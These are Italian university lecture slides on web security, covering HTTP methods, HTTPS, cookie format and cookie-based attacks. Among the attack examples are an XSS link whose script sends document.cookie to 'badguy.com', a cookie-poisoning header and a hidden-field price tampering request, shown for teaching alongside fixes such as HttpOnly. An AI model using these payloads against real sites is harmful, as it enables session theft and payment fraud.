Elementi di Sicurezza e Privatezza Lezione 12 Web Security Chiara Braghin chiara.braghin@unimi.it
Dalla lezione precedente Formato della HTTP Request: Metodo URL Versione protocollo Header GET /index.html HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 Accept: text/html, */* Accept-Language: en-us Accept-Charset: ISO-8859-1,utf-8 Connection: keep-alive (extra carriage return, line feed) 1
Metodi di HTTP (1) HTTP/1.0 GET POST HEAD HTTP/1.1 GET, POST, HEAD PUT DELETE TRACE CONNECT OPTIONS 2
Metodi di HTTP (2) GET Richiede di leggere una pagina Web Può inviare (pochi, max 256 caratteri) parametri al server tramite l URL (nella parte chiamata query string) http://server/path/file.html?query_string http://www.prova.com/dir?name1=test&name2=cat HEAD Come GET, ma richiede di leggere solo l intestazione di una pagina Web POST Invia le informazioni in modo non visibile da URL 3
Metodi di HTTP (3) PUT L inverso di GET, scrive su di una pagina DELETE Rimuove la pagina TRACE Usato per il debug, chiede di mostrare la richiesta CONNECT Metodo riservato per il futuro OPTIONS 4
GET vs POST Metodo POST: L eventuale input di un form viene trasmesso al server all interno del corpo della richiesta Metodo GET: L input viene inserito nell URL: www.somesite.com/login.jsp?name= john &pwd= john5 5
HTTP e sicurezza
HTTP/S (1) HTTP Secure Non un nuovo protocollo: HTTP over SSL/TLS Funziona esattamente come HTTP, tranne che per il fatto che i messaggi di richiesta e risposta sono trasmessi usando SSL (Secure Sockets Layer) o TLS (Transport Layer Security) Creato nel 1994 da Netscape Communications per il browser Netscape Navigator Originariamente usato con SSL encryption. In seguito all evolvere di SSL in TLS, usato con TLS (RFC 2818, maggio 2000) Usa la porta 443 al posto della porta 80 Usa un certificato digitale X.509 Usato in automatico per tutte le URL che iniziano con "https:" invece che "http:" 7
HTTP/S (2) Come funzona: La richiesta e la risposta sono trasmessi cifrati tra il browser e il server Il browser identifica il server con il quale sta comunicando mediante un certificato NB1: HTTP/S i default non fa indentificare (=> autenticare) il browser dal server (no overhead) NB2: HTTP/S non garantisce che il browser e il server si possano fidare l uno dell altro: l unica garanzia è che nessun altro può ascoltare la comunicazione HTTP/S richiede un operazione addizionale da parte del server: Il server deve creare un certificato che lo identifichi con il browser 8
HTTP/S (3) HTTP/S S-HTTP S-HTTP = Secure HTTP Descritto nell RFC 2660 Estensione del protocollo HTTP Utilizza (anche) chiavi simmetriche Non supportato da tutti i browser Supporta diversi algoritmi crittografici per la cifratura 9
HTTP/S (4) - Il luchetto Obiettivo: Indicare all utente che la comunicazione è cifrata I contenuti delle pagine non sono stati letti o modificati da un attaccante lungo la rete Garantisce che: (Quasi) Tutti gli oggetti della pagina sono stati recuperati usando HTTP over SSL/TLS Per ciascun elemento: Prodotto un certificato valido 10
HTTP/S (5) - Il luchetto IE7: 11
HTTPS (6) - il luchetto Firefox 3: (no SSL) (SSL) 12
Protocollo HTTP Il protocollo HTTP è stateless: due richieste successive (anche con gli stessi contenuti) ottengono la stessa risposta PROBLEMA: molte applicazioni richiedono memoria persistente delle interazioni dei clienti: Carrello della spesa elettronico Remeber the password for this site? Registrazione per l utilizzo amazon.com ricorda il nome dell utente, la carta di credito, gli acquisti già effettuati, gli interessi, Yahoo! Personalizza la pagina iniziale 13
Cookie (1) I cookie fanno parte del protocollo HTTP come integrazione e soluzione, molto discussa, alla caratteristica del protocollo di essere stateless Netscape, 1994 Because it was used in Netscape's original implementation of state management, we will use the term cookie to refer to the state information that passes between an origin server and user agent, and that gets stored by the user agent [RFC 2109] Un cookie è una raccolta di informazioni sull utente/client che fa richieste HTTP Serve per memorizzare a lato client lo stato di una sessione 14
Cookie (2) Il cookie viene trasmesso tramite gli HEADER del protocollo HTTP (Ipotetico) ciclo di vita del cookie: La prima volta che un browser si collega ad un server non ci sono cookie Il server crea un identificativo unico e lo inserisce nell header della risposta usando il campo Set-Cookie In futuro, ogni volta che il browser si collega con lo stesso server, anche per chiedere pagine diverse, inserisce il cookie nell header della richiesta usando il campo Cookie [In genere, i cookie vengono cancellati dal browser una volta che si fa quit ] NB: creato dal server, ma memorizzato dal client! 15
Cookie (3) - Esempio Il server spedisce un cookie al client usando l header Set-cookie in una risposta HTTP Set-cookie: CUSTOMER=John_Ford; PATH=/; EXPIRES=Thursday, 11-Jan-09 12:00:00 Quando l utente ritorna all URL, il browser manda al server i dati del cookie all interno della sua richiesta Cookie : CUSTOMER=John_Ford 16
Cookie (4) - Formato Il cookie consiste generalmente in una coppia nome-valore Set-Cookie: ID=12345jk La dimensione del cookie in genere è limitata dal browser (di solito < 4 KB) Un server può definire più cookie, anche se i browser limitano il numero di cookie per server (circa 50) 17
Cookie (5) - Formato Esistono campi opzionali dell'header Set- Cookie: Domain: il dominio di provenienza del cookie Se non settato, il valore di default è il dominio dell oggetto richiesto Il dominio di un cookie viene identificato univocamente da: server, porta (opzionale) e prefisso URL (opzionale) Indica il dominio in cui il cookie è valido Path: percorso nel Web tree (del server) in cui il cookie è valido Specifica il percorso dal quale il cookie viene mandato all utente finale (in genere /, l intera struttura) Se non settato, il valore di default è il dominio dell oggetto richiesto 18
Cookie (6) - Formato Expires: indica quando scade Espressa come data, o come numero massimo di giorni, come Now (il cookie viene eliminato subito dal computer dell'utente in quanto scade nel momento in cui viene creato), come Never (indica che il cookie non è soggetto a scadenza) Secure (FLAG): se impostato, il cookie viene trasmesso in una request HTTPS (viene cifrato) HTTPOnly (FLAG): il cookie non può essere acceduto via script lato client Inizialmente incorporata SOLO da Microsoft Internet Explorer, poi dagli altri browser 19
Cookie (7) - Precisazione Non sempre tutta l informazione relativa al client viene memorizzata a lato client Il cookie può rappresentare l indice di un database gestito a lato server per memorizzare le informazioni del client > 4 KB 20
Cookie (8) - Componenti 4 componenti: 1) cookie nell header del messaggio HTTP response (Set-cookie) 2) cookie nell header line del messaggio (non il primo) HTTP request (Cookie) 3) file di cookie mantenuto nel disco rigido del client e gestito dal browser 4) database di back-end nel Web server 21
Cookie (9) - Funzionamento file dei cookie client ebay 8734 ebay 8734 amazon 1678 una settimana dopo, se il cookie è ancora valido: ebay 8734 amazon 1678 http request http response Set-cookie: 1678 http request Cookie: 1678 http response http request Cookie: 1678 http response server Amazon il server crea il cookie 1678 azione cookiespecific azione cookiespectific parte opzionale create entry access access backend database 22
Cookie (10) - Classificazione Cookie di Sessione (non persistente o temporaneo) il browser scarta il cookie alla chiusura Usato per gestire gli shopping cart Cookie Persistente Il cookie rimane nel disco rigido del client Serve per memorizzare informazione per lungo tempo 23
Cookie (11) - Classificazione First-party cookie: cookie con lo stesso dominio dell indirizzo presente nella barra del browser Third-party cookie (o tracking cookie): cookie con dominio diverso da quello presente nella barra del browser Da banner pubblicitario, immagine o altra componente del file HTML, proveniente da un dominio diverso Usati per ottenere informazioni sul navigatore, i suoi gusti le sue preferenze, per tracciarne un profilo e presentargli solo i banner pubblicitari che gli potrebbero interessare Secondo gli RFC non dovrebbero venire permessi 24
Third-party cookie (1) 25
Third-party cookie (2) Esistono programmi per l eliminazione dei cookie in base a politiche di sicurezza definite dall utente Lavasoft Ad-aware: riconosce i tracking cookie e li rimuove 26
Visualizzare/gestire i cookie 27
Cookie (12) - Utilizzi User session state Per permettere ad un utente il login in un sito Web Memorizza username e password Shopping cart Per mettere o togliere articoli dal carrello della spesa virtuale nei siti commerciali Memorizza costo finale ed, eventualmente, # carta di credito Per personalizzare la pagina web Memorizza i setting preferiti Per tracciare i percorsi dell'utente (usato dalle compagnie pubblicitarie) 28
Lettura/scrittura di cookie a lato client (1) Settare un cookie in Javascript: document.cookie = name=value; expires= ; Leggere un cookie: alert(document.cookie) Stampa la stringa che contiene TUTTI i cookie disponibili per il documento Rimuovere un cookie: document.cookie = name=; expires= Thu, 01-Jan-70 29
Lettura/scrittura di cookie a lato client (2) javascript: alert(document.cookie) Mostra tutti i cookie del documento 30
Cookie: possibili attacchi
Cookie hijacking Packet sniffing => viene intercettato il traffico e si legge il cookie Soluzione: settare il flag Secure e utilizzare HTTP/S A volte anche l uso di HTTP/S non è una garanzia Per motivi di efficienza alcuni header non cifrati! Per motivi di efficienza, solo il primo messaggio spedito tramite HTTP/S 32
Cookie poisoning Un utente può cambiare e cancellare i valori dei cookie!! Editando il file dei cookie Modificando il campo Cookie nell header del messaggio HTTP Esempio: shopping cart software Set-cookie:shopping-cart-total = 150 ($) L utente edita il file dei cookie in modo che venga spedito il seguente header (cookie poisoning): Cookie: shopping-cart-total = 15 ($) 33 33
Cattivo uso di script (1) Si consideri il link: (properly URL encoded) http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente seleziona il link? Il browser va al link victim.com/search.php Supponiamo che victim.com ritorni <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie di victim.com 34
Cattivo uso di script (2) Per risolvere il problema: HTTPOnly, un nuovo flag GET Browser HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly Server Web I cookie vengono spediti tramite HTTP(/S), ma non sono accessibili tramite script non possono venire letti da: document.cookie 35
Alternative ai Cookie? Per gli shopping cart, usare campi nascosti del form Sistema valido? 36
Campi nascosti (1) Ordina 1 Pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $5.50 Credit Card Payment Gateway Prezzo salvato in un campo nascosto del form submit_order?price=5.50 Questi valori possono venire modificati dall attaccante? 37
Campi nascosti (2) L attaccante compila i campi richiesti 38
Campi nascosti (3) e arriva alla schermata riepilogativa finale che deve confermare: 39
Campi nascosti (4) Della quale può vedere il sorgente: 40
Campi nascosti (5) Modifica il prezzo nel sorgente, fa il reload della pagina. Il browser spedisce la richiesta: GET /submit_order?price=0.01&pay=yes HTTP/1.1 I campi nascosti dei form sono comunque in chiaro!! 41
Campi nascosti (6) Ordina 1 pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $0.01 Credit Card Payment Gateway Prezzo modificato dall attaccante!! 42
Non così raro (dati del 2000) Piattaforme che hanno subito l attacco: D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621 43
Riferimenti HTTP: RFC 2616, RFC 2818 (HTTP over TLS), RFC 2617 (HTTP atthentication) Cookie: RFC 2695 e 2109 (HTTP State Management Mechanism ) Browser Security Handbook http://code.google.com/p/browsersec/ Una pagina storica http://curl.haxx.se/rfc/cookie_spec.html 44